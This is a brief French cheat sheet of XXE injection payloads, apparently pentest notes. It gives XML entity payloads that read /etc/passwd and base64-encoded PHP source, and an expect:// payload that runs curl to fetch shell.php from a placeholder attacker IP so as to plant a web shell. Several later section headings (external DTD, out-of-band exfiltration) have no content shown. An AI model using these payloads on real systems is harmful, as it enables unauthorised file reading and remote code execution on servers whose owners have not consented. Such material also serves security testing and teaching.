XXE

Injection de base

<email>
	&company;
</email>

Inclusion de fichiers locaux (LFI)

<!DOCTYPE email [
  <!ENTITY company SYSTEM "file:///etc/passwd">
]>
<!DOCTYPE email [
  <!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>

Injection avec téléchargement de shell

  1. Créer un fichier shell.php avec un paramètre

<?xml version="1.0"?>
<!DOCTYPE email [
  <!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">
]>
<root>
<name></name>
<tel></tel>
<email>&company;</email>
<message></message>
</root>

Exploitation avec DTD externe

Préparation du serveur DTD

Injection dans la requête XML

XXE Out-Of-Band (OOB) Data Exfiltration

Extraction de fichiers en Base64

Mis à jour